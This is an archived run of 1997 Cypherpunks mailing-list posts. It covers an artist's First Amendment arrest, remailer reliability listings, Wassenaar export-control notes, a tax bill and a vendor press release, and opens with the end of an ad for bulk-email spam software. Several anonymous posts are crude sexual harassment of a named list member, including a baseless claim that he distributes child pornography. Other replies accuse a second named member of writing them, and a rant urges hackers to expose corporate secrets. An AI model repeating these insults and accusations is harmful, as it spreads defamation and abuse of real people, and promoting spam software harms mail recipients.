sending your name, address, e-mail address and a money order for $299.95

		To:  	TRG Associates
			P. O. Box 337
			Greenville, TX 75403-0337
			Phone 903-450-8809

The commercial version has no restriction on how many people you can
send a message too at once. Also, the annoying message box that tells
you of each message sent has been taken out so that you can push one
button, walk away from your computer and send thousands of messages
at a time.  Also a very important point, we use this software and know how
to use it and can offer you technical support.

Good luck and may your next bulk e-mailing make you a million.

Your Friend :-)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you would like to remove ALL e-mail you consider
junk then go to: http://catalog.com/tsw/efilter/ and download
this program. It will do the repelling job for you automatically.
Is this a great time to be alive or what?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 16 Mar 1997 18:49:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arrested for handing out leaflets about the 1st Amendment  (fwd)
Message-ID: <Pine.GSO.3.95.970316214828.16951F-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------


From: ARTISTpres@aol.com

I Was Arrested 
For Handing Out a Leaflet
about the First Amendment
by Robert Lederman

On March 10th and 11th, 1997 eight members of A.R.T.I.S.T. and I
drove to Washington, D.C. from New York to hand out leaflets about
a Supreme Court case in which we are plaintiffs. Our case involves
the right of artists to sell paintings, sculptures and other works of
fine art on the street without a license, based on freedom of speech.
We'd each been arrested numerous times for selling our art and had
recently won a favorable decision in the 2nd circuit Federal Appeals
Court. Now New York City was appealing that decision to the U.S.
Supreme Court. Legal briefs filed by the City claim that art does not
express ideas and is unworthy of full First Amendment protection.

On the 10th and 11th, thousands of museum directors, arts attorneys,
curators and heads of cultural institutions were in Washington for
Arts Advocacy Day. It was an opportunity to reach influential people
who'd be directly affected by the outcome of our case. We planned to
quietly stand on the public sidewalk outside Art Advocacy Day events
and give out leaflets describing the Supreme Court appeal and the
issue of artists' First Amendment rights. 

Everywhere we went in D.C. the police said we needed a permit to
hand out even one leaflet and threatened us with arrest. They also
claimed that even if we had a permit we would not be able to hand out
literature in front of the event locations because they were Federal
property. After explaining what we were doing and the subject of the
leaflet, we continued to give out our literature while the police
threatened us with arrest and conferred with supervisors and city
attorneys about handling the situation.

Our literature distribution efforts were successful. By the end of the
two days we'd managed to contact most of the Art Advocacy Day
participants in D.C. We decided to make one final stop in front of the
U.S. Capitol to create a few paintings as a visual statement about free
expression. Many of the art advocates were inside the Capitol
building meeting with members of Congress. 

While the other artists painted I stood on the public sidewalk in front
of the Capitol with a handful of literature. Everywhere around me
were tourists and elected officials posing with lobbyists from various
corporations and special interests. Before handing out a single leaflet
I was approached by a sergeant from the Capitol Hill Police who
explained that giving out literature was forbidden, but that I could
apply for a permit which, if granted, would give me the right to
demonstrate about 300 feet from the building in an isolated area. I
explained to the officer that I'd be leaving D.C. in an hour, that I was
not demonstrating, and that the First Amendment protected my right
to quietly hand out a leaflet on a public sidewalk without a permit. He
agreed that it probably did but informed me that I'd be arrested if I
continued.

In New York City I've been arrested 13 times for selling my paintings
on the street, for making a speech, for protesting and for distributing
literature about artists' rights. Although generally cooperative with
the police and willing to comply with reasonable demands, I draw the
line at being told I can't give away free literature on a public
sidewalk.

I explained my position to the officer and to the various Metro D.C.,
Federal undercover and Capitol Hill Police that eventually gathered
around me. Meanwhile, members of Congress and well dressed
lobbyists continued to exchange business cards, pose for photos and
discuss issues on the same sidewalk where I stood with the police. 

A warning was issued that if I handed out one more leaflet I'd be
arrested. A man wearing an Arts Advocacy pin walked by and asked
what I was giving out. I explained that I couldn't give him a leaflet
without being arrested but that he could take one from the pile in my
hand. When he did I was handcuffed and led to a waiting police car.
Above, a uniformed man with a machine gun watched from the roof.

I was transported and booked into two separate police stations,
repeatedly searched and charged with demonstrating without a permit.
Federal intelligence officers interviewed me to determine if I was a
terrorist. They asked questions about my political agenda, studied my
leaflets and eventually agreed that what I did was probably protected
by the First Amendment. I'll be standing trial in D.C. Superior Court
on June 9th and face a $350 dollar fine and 90 days in jail. All of my
property was returned except the leaflets, which are being held as
evidence of my crime.

After posting bail I was released and returned to the Capitol building
grounds to tell reporters there what had occurred. "Oh well, there's
nothing we can do", one said. "We're constantly being threatened
with arrest here ourselves".

I'll be going back to D.C. in June to stand trial. Meanwhile I'm
looking for an attorney and writing a new leaflet about free speech
and freedom of the press to give out at the Capitol. 

For information on the street artist Federal lawsuit or A.R.T.I.S.T.
(Artists' Response To Illegal State Tactics) visit the A.R.T.I.S.T.
web page at:
http://www.openair.org/alerts/artist/nyc.html or
contact Robert Lederman, artistpres@aol.com (718)
369-2111 or (212) 334-4327 Press kits, photos of this
and other arrests are available.



--
<HTML><A HREF="http://www.eff.org/~mech">     Stanton McCandlish
</A><HR><A HREF="mailto:mech@eff.org">        mech@eff.org
</A><P><A HREF="http://www.eff.org">          Electronic Frontier Foundation
</A><P>      Program Director    </HTML>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 03:32:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703170930.BAA00616@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] Mayo's obsessive masturbation has lead to 
advanced degree of blindness and hairy palms.

              __MMM__
               (o o)
         -ooO---(=)---Ooo- Timmy C[retin] Mayo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 04:11:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171056.CAA18972@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Timmy C. May's babblings are preposterous lies, 
wild distortions, child pornography (both as graphic 
descriptions and in JPEG format), ethnic slurs, and racial 
epithets.

    /o)\ Timmy C. May
    \(o/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Mon, 17 Mar 1997 00:06:41 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Dark Fiber Redux
In-Reply-To: <v03020900af51a5634a2b@[204.179.136.89]>
Message-ID: <Pine.LNX.3.95.970317025954.144I-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Mar 1997, Robert Hettinga wrote:

-> In theory, at least, everyone gets a color, or frequency, and they listen
-> on that frequency for their inbound stuff. If you want to send someone
-> something, you literally tune them in and send it. Actually, I see these
-> frequencies using CDMA carrier waves when it eventually happens, but you
-> get the idea.

Wouldn't spread-spectrum have many advantages over the assigned frequency
scheme?


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: darthvdr@fascination.com (leave blank)
Date: Mon, 17 Mar 1997 03:30:54 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199703171133.EAA06232@fascination.com>
MIME-Version: 1.0
Content-Type: text/plain


l3T m3 0n +h3 l12+!!
The time to think about the world is now!
	I am by far not even close to an environmentalist. In fact I hate those 
types but they do have one point . . .  pollution! Pollution in corporate 
America is what kill more men than AIDS. You have to slow this. You are the 
outraged youth and YOU are the Future! Get your head out of your ass and 
learn all you can. We cannot fight the genocide that is happening in our 
world if we cannot prove it is going on. Search and you will find these 
evils. The information generation is here, without it all of man kind could 
die by the year 2050. I may not be here to suffer the agonizing death that 
awaits but guess what . . .  you will. We can only save this world by 
connecting and spreading the word. Corporations are prepared to exterminate 
us all and retire to their own little world. They fed us all with lies about 
how they are concerned but in reality they are planning for it. They are 
stashing food and supplies all over the world for their own version of 
doomsday. The big businesses will build an empire of technology around you 
and slowly kill you. They will have the world to them selves at no means. 
With you dieing in the streets of a toxic overload they will sit back in 
their hideaways enjoying the rest of their lives! You can stop them and only 
you. Expose their secrets. Find the proof we need to wipe them out for good! 
Or you all will die in their dream world! What I am shooting to you in so 
many words is that the world needs hackers to find out what is going on 
behind our backs. I am saying that the masses need to know what the rich ass 
holes in their little dream world want to do with us. How would you like to 
wake up one morning and everyone in the world is dead? This is what hackers 
need to stop. We the people of the world need to stop all of this shit! 
Technology is a force witch the United States Totalitarian government must 
deal with. Everyone exposes the truths they hide from the people who live 
here! No longer can a police officer kill a man in cold blood and pretend 
that it never happened. The age of computers and mass media expose the hard 
core facts of the governments' brutal murders and deadly tempers. So what 
has happened to this world which they control us and beat us into their 
beliefs? The truth is that we have discovered "Big Brothers" little tricks! 
We are the truth of tomorrow! We see what the fascists of American 
government do when they plan to kill those who appose them. People like you 
and me tell those who will expose these truths to the citizens of our 
country. We serve our prison time for exposing these truths but hell. There 
is not even as many of them to kill us all as we are the world. Please 
understand that there is much in this world you do not yet know, the murders 
that have happened and the killing that will come. The time to think about 
this is now! You are sitting at a cross roads of life with the age of world 
freedom at your finger tips. What are you going to do about it? Learn about 
the world around you! Peep into their private little lives! I am not afraid 
of them, they must frame me for any thing they could ever arrest me for! 
They are stupid that way, but you can take the knowledge that you see and 
stop the killing! You can support the abolishment of the forming of the New 
World Order! Simply use your knowledge to see what is up! Expose this 
information to whoever can use it. Let everyone in the world know what is 
going on. People in our government hate us. Have you ever asked your self 
why? I will tell you why our government hates you. The truth is that you are 
young and smarter at twenty and twenty-one then they will ever be. You know 
information that they were hidden from. Are you tired of being called the 
problem with the world? Clinton calls us the problem, The Republicans all 
call us the problem, Dole called us "the only problem" WHY? We are smarter 
then them! That is all they are complaining about! I mean they are afraid of 
us all. They increase the fear of technology every day by printing evil 
headlines about "invasion of privacy" and thefts! These stories are mostly 
fiction! The real hackers do not care about the private sector . . .  well 
they do but not to "steal" from them. The truth in it all is that anarchist 
computer users are only interested in information. Public people do not have 
this information and there for are not in danger! That is what we all need 
to explain to everyone. That is what all of the world should know. So why do 
people fear us? It is big business that is afraid. They have secrets that 
the people of the world CANNOT know! They are evil in so many ways it makes 
people sick. We expose these secrets! That is why they fear us! The 
corporations of the world do not want people to be free. They want you all 
to be stupid and to live in fear. They distort the truth of reality. Big 
businesses are trying to rule the world and fear us of exposing that! They 
create propaganda against us, and lie about us to the public. They have us 
arrested and thrown in jail for exposing their secrets to the world. 
However, together we can all stop them! To organize and inform these evils. 
To break down these lies and start a world of passing truths! You have never 
seen the world behind what these corporations show you. Do you want to? The 
truth is that this is the ugliest world in any ones' mind. All you have to 
do is look for it. When you see the ugliness then you must show it around. 
Give a glimpse of this evil to everyone in the world. Collapse what is wrong 
and there will be the entire earth to thank you for their lives.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 17 Mar 1997 02:08:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Diffie-Hellman
Message-ID: <199703171008.FAA13401@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Timmy C[unt] May in the ass, a rabid tapeworm might bite 
your penis.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timmy C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Mar 1997 06:50:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199703171450.GAA13996@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Mar 97 6:49:18 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              #+##-+*#####     7:24  99.99%
nym      config@nym.alias.net             +*-+--+--###  1:19:28  99.97%
middle   middleman@jpunix.com              -----+++-+*    52:00  99.86%
balls    remailer@huge.cajones.com        ####+*# ####     9:36  99.78%
dustbin  dustman@athensnet.com            .- --++++.++  1:08:41  99.74%
lucifer  lucifer@dhp.com                   +++ +++*+++    38:51  99.65%
shaman   remailer@lycaeum.org              ++***+*+*+*    19:59  99.62%
jam      remailer@cypherpunks.ca          *** -**** **  1:15:27  98.80%
winsock  winsock@rigel.cyberpass.net      -- .-------   6:27:37  98.70%
cyber    alias@alias.cyberpass.net        ****+**+ - +  1:03:14  98.67%
weasel   config@weasel.owl.de             +++..-+++++   2:41:25  98.61%
mix      mixmaster@remail.obscura.com     __ _ -_     124:55:44  98.41%
exon     remailer@remailer.nl.com           #  #*#* ##  1:07:00  98.32%
extropia remail@miron.vip.best.com        -.--.-.-_.   21:02:43  98.12%
squirrel mix@squirrel.owl.de               _ . ++++++  11:12:16  93.46%
reno     middleman@cyberpass.net          .*  -* *  -   1:06:39  92.46%
haystack haystack@holy.cow.net             ### ##   +   1:04:07  90.89%
replay   remailer@replay.com              +**--+-+*       38:44  75.55%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 05:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: MIR_ror
Message-ID: <1.5.4.32.19970317131226.0073a4dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-17-97:

NYP reports on "white-hat" hackers who work for IBM 
and the like, breaking into corporate systems, testing
insecurity

   "It's hard to find good people in this field who do
   not have criminal records."

Like the NatSec gang -- Shimomuras using secret tech
to chase Mitnicks for the king's coin, praying the infowar 
smoke and mirrors never end, hoping they're on the winning
side of the looking glass.

-----

MIR_ror





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:27:38 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Diffie-Hellman
In-Reply-To: <199703171008.FAA13401@dhp.com>
Message-ID: <Pine.A41.3.95.970317092310.89124D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, lucifer Anonymous Remailer wrote:

> Date: Mon, 17 Mar 1997 05:08:11 -0500
> From: lucifer Anonymous Remailer <lucifer@dhp.com>
> To: cypherpunks@toad.com
> Subject: Diffie-Hellman
> 
> your penis.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- Timmy C[unt] May
> 
>From the perverted mind of Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:30:25 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703170930.BAA00616@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092553.89124F-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 01:30:49 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> To: cypherpunks@toad.com
> 
> Timmy C[retin] Mayo's obsessive masturbation has lead to 
> advanced degree of blindness and hairy palms.
> 
>               __MMM__
>                (o o)
>          -ooO---(=)---Ooo- Timmy C[retin] Mayo
> 
Vulis stay off the list.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 08:32:21 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703171056.CAA18972@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317092751.89124G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

> Date: Mon, 17 Mar 1997 02:56:28 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> To: cypherpunks@toad.com
> 
> Embedded in Timmy C. May's babblings are preposterous lies, 
> wild distortions, child pornography (both as graphic 
> descriptions and in JPEG format), ethnic slurs, and racial 
> epithets.
> 
>     /o)\ Timmy C. May
>     \(o/
> 
Time for your pills Vulis.

        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 06:51:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto and Wassenaar Meeting
Message-ID: <1.5.4.32.19970317144414.0074cdec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


DEPARTMENT OF COMMERCE
 
Transportation and Related Equipment Technical Advisory 
Committee; Partially Closed Meeting

    A meeting of the Transportation and Related Equipment Technical 
Advisory Committee will be held March 18, 1997, 9 a.m., in the Herbert 
C. Hoover Building, Room 1617M(2), 14th Street between Constitution & 
Pennsylvania Avenues, NW., Washington, DC. The Committee advises the 
Office of the Assistant Secretary for Export Administration with 
respect to technical questions that affect the level of export controls 
applicable to transportation and related equipment or technology.

General Session

    1. Opening remarks by the Chairman.

    2. Presentation of public papers or comments.

    3. Report on the status of the Wassenaar Arrangement: 
implementation, List Review schedule, and reporting status.

    4. Report on the status of the encryption regulations.

    5. Update on the Missile Technology Control Regime.

    6. Discussion of commercial communications satellite and ``hot 
section'' technology regulations, in particular the status of the fuels 
issue.

Closed Session

    7. Discussion of matters properly classified under Executive Order 
12958, dealing with the U.S. export control program and strategic 
criteria related thereto.

    The General Session of the meeting will be open to the public and a 
limited number of seats will be available. To the extent time permits, 
members of the public may present oral statements to the Committee. 
Written statements may be submitted at any time before or after the 
meeting. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sun, 16 Mar 1997 14:30:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Wassenaar Arrangement and "sensitive dual-use items"
Message-ID: <85855141610654@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>In my far memory, it was about 50-70 pages.  It seems to
>be a digest or a boneless version.

There are two separate documents here which people are getting confused.  The
first is the text of the Wassenaar arrangement, which is quite short and (as
described by one person who's seen it) "consists of a lot of weasel words".
The second is the one which sets down what is controlled.  This is rather
lengthy, around 100 pages.  The EAR changes which were made in the US contains
some of the text of this document, which predates Wassenaar and is just the
older COCOM text under a new title.  The COCOM text originates from the US, 
and some of the countries still have versions with US spellings even though 
the countries use proper :-) Englishm which indicates its origins.

Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 12:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171843.KAA00592@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's IQ is lower than the belly of a pregnant snake.

         /\**/\
        ( o_o  )_) Timmy May
        ,(u  u  ,),
       {}{}{}{}{}{}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 17 Mar 1997 14:46:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703172040.MAA23689@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Mayflower's family tree goes straight 
up. All of his ancestors were siblings, to 
dumb to recognize each other in the dark.

     o o Tim Mayflower
      o
     \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Mar 1997 10:11:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Internet Tax Freedom Act
Message-ID: <1.5.4.32.19970317180343.006cb6b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Internet Tax Freedom Act
Introduced in the Senate March 13, 1997

By Senator Wyden (for himself and Senator Kerry):

S. 442. A bill to establish a national policy against State 
and local government interference with interstate commerce on 
the Internet or interactive computer services, and to 
exercise Congressional jurisdiction over interstate commerce 
by establishing a moratorium on the imposition of exactions 
that would interfere with the free flow of commerce via the 
Internet, and for other purposes; to the Committee on 
Commerce, Science, and Transportation.

See bill, Wyden's statements and section-by-section analysis at:

   http://jya.com/s442.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 17 Mar 1997 11:23:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703171921.OAA29596@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May's IQ is lower than the 
belly of a pregnant snake.

              <<<<
             o(0-0)o
          -ooO-(_) Ooo-- Tim C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 13:39:26 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199703171921.OAA29596@holy.cow.net>
Message-ID: <Pine.A41.3.95.970317143443.57696A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Bovine Remailer wrote:

Vulis time for your pills.


> Tim C[unt] May's IQ is lower than the 
> belly of a pregnant snake.
> 
>               <<<<
>              o(0-0)o
>           -ooO-(_) Ooo-- Tim C[unt] May
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 17 Mar 1997 13:42:14 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703171843.KAA00592@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970317143817.57696B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Mar 1997, Mix wrote:

Bad day Vulis.
> Timmy May's IQ is lower than the belly of a pregnant snake.
> 
>          /\**/\
>         ( o_o  )_) Timmy May
>         ,(u  u  ,),
>        {}{}{}{}{}{}
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 17 Mar 1997 13:40:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Musings on the NYTimes article on computer security
Message-ID: <6Baq4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I liked "linux, a shareware program that is the operating system of choice
for hackers" and the "wide availability of tools for .. 'fingering'".

This reminded me how a couple of years ago I had a long phone conversation
with a journalist from the Washington Post who was convinced (by a certain
idiot from Usenet) that I'm running a hacker BBS. He kept asking me why its
not possible to finger anyone @dm.com. I explained that we're behind a dial-up
uucp connection, not tcp/ip - it was like talking to a wall. "Why are you
hiding behind this, ahem, ucp? What have you got to hide?" I pointed out that
one can't finger anyone @twp.com either - he didn't believe me and promised to
check. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ari Hypponen <Ari.Hypponen@DataFellows.com>
Date: Mon, 17 Mar 1997 07:27:56 -0800 (PST)
To: F-Secure-Press-Global@DataFellows.com
Subject: Data Fellows and Nokia Secure Wireless Corporate Intranet Access
Message-ID: <3.0.32.19970317165909.009cb380@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


March 17, 1997

Data Fellows and Nokia Secure Wireless Corporate Intranet Access
- Improved security enables GSM operators to connect Intranets

(Hannover, March 17, 1997) Data Fellows and Nokia Telecommunications have
signed an agreement to integrate Data Fellows' award winning F-Secure VPN
encryption software into Nokia's Artus wireless data networking
solutions. The Nokia Artus solution enables GSM operators to offer secure
corporate Intranet solutions, without the requirement of using costly
leased lines to reach their corporate customers.

"Weakness of remote access security has discouraged remote access to
corporate networks. In partnership with Data Fellows we can now provide GSM
operators with an IP networking solution which meets the strict security
requirements of corporate IT managers. This means new business for GSM
networks," said Petri Pöyhönen, Vice President, Wireless Data Server
Systems at Nokia Telecommunications.

"Intranet remote access outsourced to GSM operators represents an important
market restructuring. In the context of Nokia's Artus Managed Internet
Access Point (IAP) networking solution, we can see immediate potential of
leveraging our encryption technology already widely used for LAN
interconnect," said Risto Siilasmaa, Managing Director at Data Fellows.

